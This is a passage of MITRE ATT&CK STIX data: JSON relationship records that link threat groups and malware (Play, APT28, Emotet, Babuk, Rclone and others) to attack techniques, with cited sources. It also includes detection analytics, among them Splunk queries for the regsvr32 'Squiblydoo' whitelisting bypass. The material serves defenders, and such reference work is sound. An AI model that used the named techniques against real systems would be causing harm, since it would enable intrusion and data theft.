AA23-352A. Retrieved September 24, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-352a"},{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T18:48:47.155Z","description":"[Play](https://attack.mitre.org/groups/G1040) has used tools to remove log files on targeted systems.(Citation: CISA Play Ransomware Advisory December 2023)(Citation: Trend Micro Ransomware Spotlight Play July 2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fb5dd1fa-5e99-4cde-9670-151ec75afc59","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T18:31:53.558Z","description":"Monitor for unusual processes with internal network connections creating files on-system may be suspicious \n\nNote: Analytic Event Type is for Zeek but can also be implemented in other Network Analysis Frameworks by parsing & decoding captured SMB2 network traffic. From a network traffic capture standpoint, it’s important to capture the right traffic for this type of detection to function (e.g., all endpoint to endpoint if possible or workstation to server and workstation to workstation). As such, it is helpful to have a centralized server area where it is possible to monitor communications between servers and endpoints.\n","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb5fc8e3-2dd8-49de-bd9a-ee19c2f7ef7f","type":"relationship","created":"2020-06-19T21:25:43.661Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-29T21:37:55.942Z","description":"[Goopy](https://attack.mitre.org/software/S0477) has had null characters padded in its malicious DLL payload.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"malware--eac3d77f-2b7b-4599-ba74-948dc16633ad","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb60b027-facd-4be2-b8b2-0fb9351ea235","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TechNet Cmd","description":"Microsoft. (n.d.). Cmd. Retrieved April 18, 2016.","url":"https://technet.microsoft.com/en-us/library/bb490880.aspx"}],"modified":"2020-03-17T19:12:13.034Z","description":"[cmd](https://attack.mitre.org/software/S0106) is used to execute programs and other actions at the command-line interface.(Citation: TechNet Cmd)","relationship_type":"uses","source_ref":"tool--bba595da-b73a-4354-aa6c-224d4de7cb4e","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--fb63284b-33d6-4cf9-afdb-2aed117af00f","created":"2021-11-22T16:44:34.326Z","x_mitre_version":"1.0","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[RCSession](https://attack.mitre.org/software/S0662) can use `cmd.exe` for execution on compromised hosts.(Citation: Trend Micro DRBControl February 2020)","modified":"2022-04-11T16:17:03.117Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--03acae53-9b98-46f6-b204-16b930839055","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fb699407-1269-407a-845d-7085a7ae836d","created":"2024-09-18T20:37:30.965Z","revoked":false,"external_references":[{"source_name":"Palo Alto Latrodectus Activity June 2024","description":"Unit 42. (2024, June 25). 2024-06-25-IOCs-from-Latrodectus-activity. Retrieved September 13, 2024.","url":"https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2024-06-25-IOCs-from-Latrodectus-activity.txt"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-18T20:37:30.965Z","description":"\n[Latrodectus](https://attack.mitre.org/software/S1160) has routed C2 traffic using Keyhole VNC.(Citation: Palo Alto Latrodectus Activity June 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb6a8268-5a73-4ac0-8f61-439f472063d6","type":"relationship","created":"2017-05-31T21:33:27.063Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}],"modified":"2019-07-14T21:15:55.610Z","description":"(Citation: Dell TG-3390)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"tool--242f3da3-4425-4d11-8f5c-b842886da966","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb6f077c-06a2-46bb-9aef-959ef818d4aa","type":"relationship","created":"2017-05-31T21:33:27.051Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html","description":"FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.","source_name":"FireEye admin@338"}],"modified":"2020-03-17T18:55:18.857Z","description":"Following exploitation with [LOWBALL](https://attack.mitre.org/software/S0042) malware, [admin@338](https://attack.mitre.org/groups/G0018) actors created a file containing a list of commands to be executed on the compromised computer.(Citation: FireEye admin@338)","relationship_type":"uses","source_ref":"intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb6ffb5c-5405-4515-a120-7a34414933ea","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto OilRig April 2017","description":"Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/"},{"description":"Falcone, R., Wilhoit, K.. (2018, November 16). Analyzing OilRig’s Ops Tempo from Testing to Weaponization to Delivery. Retrieved April 23, 2019.","url":"https://unit42.paloaltonetworks.com/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery/","source_name":"Unit42 OilRig Nov 2018"}],"modified":"2019-09-04T22:55:41.337Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has tested malware samples to determine AV detection and subsequently modified the samples to ensure AV evasion.(Citation: Palo Alto OilRig April 2017)(Citation: Unit42 OilRig Nov 2018)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb719ee1-0be9-41c5-bb52-56c033091e99","type":"relationship","created":"2021-01-13T18:32:09.100Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Pawn Storm 2019","url":"https://documents.trendmicro.com/assets/white_papers/wp-pawn-storm-in-2019.pdf","description":"Hacquebord, F. (n.d.). Pawn Storm in 2019 A Year of Scanning and Credential Phishing on High-Profile Targets. Retrieved December 29, 2020."},{"source_name":"TrendMicro Pawn Storm Dec 2020","url":"https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html","description":"Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm’s Lack of Sophistication as a Strategy. Retrieved January 13, 2021."},{"source_name":"Microsoft Targeting Elections September 2020","url":"https://blogs.microsoft.com/on-the-issues/2020/09/10/cyberattacks-us-elections-trump-biden/","description":"Burt, T. (2020, September 10). New cyberattacks targeting U.S. elections. Retrieved March 24, 2021."}],"modified":"2021-03-24T17:06:11.146Z","description":"[APT28](https://attack.mitre.org/groups/G0007) can perform brute force attacks to obtain credentials.(Citation: TrendMicro Pawn Storm 2019)(Citation: TrendMicro Pawn Storm Dec 2020)(Citation: Microsoft Targeting Elections September 2020)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb819161-4916-4f25-ad81-eab9f02a337e","type":"relationship","created":"2021-08-12T15:54:43.288Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Babuk February 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-babuk-ransomware.pdf","description":"Mundo, A. et al. (2021, February). Technical Analysis of Babuk Ransomware. Retrieved August 11, 2021."},{"source_name":"Trend Micro Ransomware February 2021","url":"https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html","description":"Centero, R. et al. (2021, February 5). New in Ransomware: Seth-Locker, Babuk Locker, Maoloa, TeslaCrypt, and CobraLocker. Retrieved August 11, 2021."}],"modified":"2021-08-13T14:53:17.409Z","description":"[Babuk](https://attack.mitre.org/software/S0638) has the ability to enumerate files on a targeted system.(Citation: McAfee Babuk February 2021)(Citation: Trend Micro Ransomware February 2021)","relationship_type":"uses","source_ref":"malware--61c7a91a-0b83-461d-ad32-75d96eed4a09","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb82f6d3-0e6b-4fa5-a54a-f7deb28f8324","type":"relationship","created":"2020-02-12T16:47:16.693Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-12T16:47:16.693Z","relationship_type":"revoked-by","source_ref":"attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5","target_ref":"attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb83a9d5-0608-4008-a16a-dbfeac84e177","type":"relationship","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.872Z","description":"Monitor for newly executed processes that may gather the system time and/or time zone from a local or remote system.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb866766-d3a5-46f6-9d0e-afc6bd1c7962","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TechNet Copy","description":"Microsoft. (n.d.). Copy. Retrieved April 26, 2016.","url":"https://technet.microsoft.com/en-us/library/bb490886.aspx"}],"modified":"2020-03-20T18:38:23.371Z","description":"[cmd](https://attack.mitre.org/software/S0106) can be used to copy files to/from a remotely connected internal system.(Citation: TechNet Copy)","relationship_type":"uses","source_ref":"tool--bba595da-b73a-4354-aa6c-224d4de7cb4e","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fb89c2ae-56f0-4084-bb28-de915c70ddc4","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T21:02:11.397Z","description":"Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\n\nNote: Event IDs are for Sysmon (Event ID 1 - process create) and Windows Security Log (Event ID 4688 - a new process has been created). \n- Analytic 1 is a more generic analytic that looks for suspicious usage of regsvr32.exe, specifically for cases where regsvr32.exe creates child processes that aren’t itself. It’s not likely that this will result in millions of hits, but it does occur during benign activity so some form of baselining would be necessary for this to be useful as an alerting analytic.\n- Analytic 2 is around “Squiblydoo”, which is a specific usage of regsvr32.exe to load a COM scriptlet directly from the internet and execute it in a way that bypasses application whitelisting. It looks for regsvr32.exe process creation events that load scrobj.dll via the command-line (which executes the COM scriptlet).\n- Analytic 3 This uses the same logic as above, but adds lightweight baselining by ignoring all results that also showed up in the previous 30 days (it runs over 1 day).\n- Analytic 4 This looks for child processes that may be spawend by regsvr32, while attempting to eliminate some of the common false positives such as werfault (Windows Error Reporting).\n\nAnalytic 1 - Generic Regsvr32\n\n (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") regsvr32.exe | search ParentImage=\"*regsvr32.exe\" AND Image!=\"*regsvr32.exe*\"\n\nAnalytic 2 - Squiblydoo\n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") regsvr32.exe scrobj.dll | search Image=\"*regsvr32.exe\"\n\nAnalyt 3 - New Items since last month \n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") earliest=-d@d latest=now() regsvr32.exe | search ParentImage=\"*regsvr32.exe\" AND Image!=\"*regsvr32.exe*\" | search NOT [\nsearch (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") earliest=-60d@d latest=-30d@d regsvr32.exe | search ParentImage=\"*regsvr32.exe\" AND Image!=\"*regsvr32.exe*\" | dedup CommandLine | fields CommandLine ]\n\nAnalytic 4 - Spawning Child Processes \n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") (ParentImage=\"C:\\\\Windows\\\\System32\\\\regsvr32.exe\" OR ParentImage=\"C:\\\\Windows\\\\SysWOW64\\\\regsvr32.exe\") AND Image!=\"C:\\\\Windows\\\\System32\\\\regsvr32.exe\" AND Image!=\"C:\\\\Windows\\\\SysWOW64\\\\regsvr32.exe\" AND Image!=\"C:\\\\WINDOWS\\\\System32\\\\regsvr32.exe\" AND Image!=\"C:\\\\WINDOWS\\\\SysWOW64\\\\regsvr32.exe\" AND Image!=\"C:\\\\Windows\\\\SysWOW64\\\\WerFault.exe\" AND Image!=\"C:\\\\Windows\\\\System32\\\\wevtutil.exe\" AND Image!=\"C:\\\\Windows\\\\System32\\\\WerFault.exe\"|stats values(ComputerName) as \"Computer Name\" values(ParentCommandLine) as \"Parent Command Line\" count(Image) as ImageCount by Image","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fb94932d-5286-42c4-817d-5d04f59763b2","created":"2024-10-03T10:14:24.083Z","revoked":false,"external_references":[{"source_name":"Lumen KVBotnet 2023","description":"Black Lotus Labs. (2023, December 13). Routers Roasting On An Open Firewall: The KV-Botnet Investigation. Retrieved June 10, 2024.","url":"https://blog.lumen.com/routers-roasting-on-an-open-firewall-the-kv-botnet-investigation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-03T10:14:24.083Z","description":"[KV Botnet Activity](https://attack.mitre.org/campaigns/C0035) involved removal of security tools, as well as other identified IOT malware, from compromised devices.(Citation: Lumen KVBotnet 2023)","relationship_type":"uses","source_ref":"campaign--0c259854-4044-4f6c-ac49-118d484b3e3b","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb99048f-bb37-47be-b2a5-d03d9ff087f1","type":"relationship","created":"2019-09-13T13:21:50.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."},{"source_name":"Securelist Machete Aug 2014","url":"https://securelist.com/el-machete/66108/","description":"Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."},{"description":"The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.","url":"https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html","source_name":"Cylance Machete Mar 2017"},{"source_name":"360 Machete Sep 2020","url":"https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/","description":"kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. Retrieved November 20, 2020."}],"modified":"2020-11-23T22:25:18.435Z","description":"[Machete](https://attack.mitre.org/software/S0409) captures screenshots.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)(Citation: Cylance Machete Mar 2017)(Citation: 360 Machete Sep 2020)","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb9a793b-0ed7-4152-8802-e1861ad32ad2","type":"relationship","created":"2020-11-17T20:53:33.504Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Lucifer June 2020","url":"https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/","description":"Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}],"modified":"2020-11-20T18:26:47.499Z","description":"[Lucifer](https://attack.mitre.org/software/S0532) can use WMI to log into remote machines for propagation.(Citation: Unit 42 Lucifer June 2020)","relationship_type":"uses","source_ref":"malware--54a73038-1937-4d71-a253-316e76d5413c","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb9ac63c-7ce8-4a81-be13-d1d7ba6ee4de","type":"relationship","created":"2022-03-30T14:26:51.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.832Z","description":"Monitor for network traffic originating from unknown/unexpected hardware devices. Local network traffic metadata (such as source MAC addressing) as well as usage of network management protocols such as DHCP may be helpful in identifying hardware.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb9cf04b-ad28-472a-9ee3-a2e744e0e122","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T18:44:09.723Z","description":"[ZLib](https://attack.mitre.org/software/S0086) mimics the resource version information of legitimate Realtek Semiconductor, Nvidia, or Synaptics modules.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--166c0eca-02fd-424a-92c0-6b5106994d31","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fba17e05-d7dd-4944-97c8-7771d6b833fb","created":"2023-09-29T20:36:54.082Z","revoked":false,"external_references":[{"source_name":"Binary Defense Emotes Wi-Fi Spreader","description":"Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader. Retrieved September 8, 2023.","url":"https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T20:36:54.082Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has used `CreateProcess` to create a new process to run its executable and `WNetEnumResourceW` to enumerate non-hidden shares.(Citation: Binary Defense Emotes Wi-Fi Spreader)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fba63e06-710f-4f04-b446-be8509ea0a5e","created":"2022-09-30T15:11:47.466Z","revoked":false,"external_references":[{"source_name":"Rclone","description":"Nick Craig-Wood. (n.d.). Rclone syncs your files to cloud storage. Retrieved August 30, 2022.","url":"https://rclone.org"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T15:11:47.466Z","description":"[Rclone](https://attack.mitre.org/software/S1040) can exfiltrate data over FTP or HTTP, including HTTP via WebDAV.(Citation: Rclone)","relationship_type":"uses","source_ref":"tool--59096109-a1dd-463b-87e7-a8d110fe3a79","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fba908dc-4478-4626-ab73-72c43eca5279","created":"2019-01-30T13:53:14.923Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET GreyEnergy Oct 2018","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:25:02.078Z","description":"[GreyEnergy](https://attack.mitre.org/software/S0342) encrypts its configuration files with AES-256 and also encrypts its strings.(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fba9610f-dbaa-4ded-b233-9229b80809ab","created":"2020-11-04T15:14:21.190Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA20-301A Kimsuky","description":"CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-301a"},{"source_name":"Crowdstrike GTR2020 Mar 2020","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf"},{"source_name":"Cybereason Kimsuky November 2020","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020.","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite"},{"source_name":"Mandiant APT43 March 2024","description":"Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.","url":"https://services.google.com/fh/files/misc/apt43-report-en.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-06T20:35:20.377Z","description":"(Citation: CISA AA20-301A Kimsuky)(Citation: Cybereason Kimsuky November 2020)(Citation: Crowdstrike GTR2020 Mar 2020)(Citation: Mandiant APT43 March 